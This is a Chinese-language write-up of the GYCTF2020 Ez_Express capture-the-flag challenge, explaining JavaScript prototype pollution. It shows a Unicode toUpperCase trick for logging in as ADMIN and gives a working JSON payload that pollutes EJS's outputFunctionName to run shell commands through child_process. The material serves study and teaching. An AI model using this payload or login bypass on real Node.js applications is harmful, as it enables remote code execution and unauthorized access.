GYCTF2020-Ez_Express

[GYCTF2020]Ez_Express

前言

看了一下有注册有登录,于是试了一下www.zip发现有源码泄露:
审计的是thinkphp6.0,看半天看不出个所以然,于是看wp了

js原型链污染

原型链特性:
当我们调用一个对象的某属性时

1.对象(obj)中寻找这一属性
2.如果找不到,则在obj.proto中寻找属性
3.如果仍然找不到,则继续在obj.__proto__.__proto__中寻找这一属性

以上机制被称为js的prototype的继承链。和node.js沙盒逃逸的原理似乎是一样的
举例:

function Foo() {
this.bar = 1
}

Foo.prototype.show = function show() {
console.log(this.bar)
}

let foo = new Foo()
foo.show()

理解:
Foo是一个类,prototype是Foo的属性,Foo中所有的实例化后对象都将拥有这个属性,我们在prototype属性中定义了一个方法show,接下来所有实例化后的对象如foo都将直接拥有foo方法。
原型链污染定义:

如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染

例:

let foo={bar:1}//foo是一个对象
console.log(foo.bar)//foo.bar此时为1
foo.__proto__.bar=2//foo的原型设一个bar值为2
console.log(foo.bar)//输出为1,因为foo的bar已经为1
let zoo={}//设zoo的对象为空
console.log(zoo.bar)//这个时候zoo的bar就为2,现在每个原型都有个属性bar值为2

哪些情况下原型链会被污染?

在含有能够控制数组(对象)的“键名”的操作即可,一般是以出现:
merge和clone对象

不安全的对象递归合并

以merge,因为merge执行的就是递归,为例,先构造一个简单的merge函数

const merge = (target, source) => {
// Iterate through `source` properties and if an `Object` set property to merge of `target` and `source` properties
for (const key of Object.keys(source)) {
if (source[key] instanceof Object) Object.assign(source[key], merge(target[key], source[key]))
}
// Join `target` and modified `source`
Object.assign(target || {}, source)
return target
}
function Person(name,age,gender){//构造一个person类
this.name=name;
this.age=age;
this.gender=gender;
}
let newperson=new Person("test1",22,"male");
let job=JSON.parse('{"title":"Security Engineer","country":"China","__proto__":{"x":1}}');//新建一个job对象
merge(newperson,job);//这个job对象有用title、contry、__proto__属性,并对其进行赋值
console.log(newperson);
console.log(Person.prototype);//此时per的原型已经被改变为x=1

这里解释一下,merge将这几个键值作为一个属性合并到newperson这个对象中了,merge函数执行的其实可以认为是

Person.job.title=......
Person.job.__proto__=....

这个时候job的原型是Person,所以Person的值就发生了改变。

按路径定义属性

有些JavaScript库的函数支持根据指定的路径修改或定义对象的属性值。通常这些函数类似以下的形式:theFunction(object, path, value),将对象object的指定路径path上的属性值修改为value。如果攻击者可以控制路径path的值,那么将路径设置为_proto_.theValue,运行theFunction函数之后就有可能将theValue属性注入到object的原型中。

实战

www.zip下载源码:

然后开始审计

const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);

在index.js找到merge和clone,接下来看看有哪里调用了他们,发现是在/action这里,并且需要user为admin

router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});

那么就需要先登录,在登录这列发现

**其中 'user':req.body.userid.toUpperCase() 这一句中toUpperCase()函数是为了将字符串中的小写字符转换成大写,但因为javascript的特性,函数存在分险(下图),所以假如我们传入admın的话,经过toUpperCase()的处理后,会变成ADMIN**关于node-js题目的尝试/9.png)

在javascript中有几个特殊的字符需要记录一下

对于toUpperCase():

字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"
Copy

对于toLowerCase():

字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)

所以我们可以注册用户名为admın然后进行登录即可,接下来在去可以污染的参数那边看看该如何构造payload
首先可以可以看到clone在login那边对body进行操作,那么我们的原型链传入的值也应该在那里

router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});

再往下看,我们outputoFunctionName被渲染了,那么其实思路就很明确了,通过clone原型链污染outputoFunctionName,导致其值被改变,渲染拿到flag

router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})

payload:

{"__proto__":{"outputFunctionName": "test;clearTimeout.constructor.constructor('return process')().mainModule.require('child_process').execSync('cat /flag > /app/public/reader').toString();var test1"}}

从语法的角度解释一下这个payload:我们通过污染outputFunctionName的原型,通过constructor访问其向上原型链,获得主环境的function,2然后通过(‘return process’)()获得主环境process变量,通过process.mainModule.require导入child_process模块,实现命令执行,最后将flag输出至/reader中,由于这个outputFunctionName是未定义的,所以我们后面访问它,就会直接赋值为我们定义的这些属性(和上面的原理是一样的)

来自:
https://evi0s.com/2019/08/30/expresslodashejs-%e4%bb%8e%e5%8e%9f%e5%9e%8b%e9%93%be%e6%b1%a1%e6%9f%93%e5%88%b0rce/

img 要记得吧传输的内容格式改为json的,然后登陆/info让其被渲染,然后再登录/reader将flag下载下来即可

小结

由于语法还是有很多不懂,但还好学沙盒逃逸的时候有掌握一点语法,所以原理还是可以看懂的,但是构造语句还是不太行
总结一下js的原型链污染
1.寻找merge或者clone函数
2.寻找使用这两个函数的对象,查看其是否可控,能渲染

https://www.freebuf.com/articles/web/275619.html

https://www.cnblogs.com/LEOGG321/p/13448463.html

js的字符:https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

Author

vague huang

Posted on

2021-07-22

Updated on

2021-07-24

Licensed under

Comments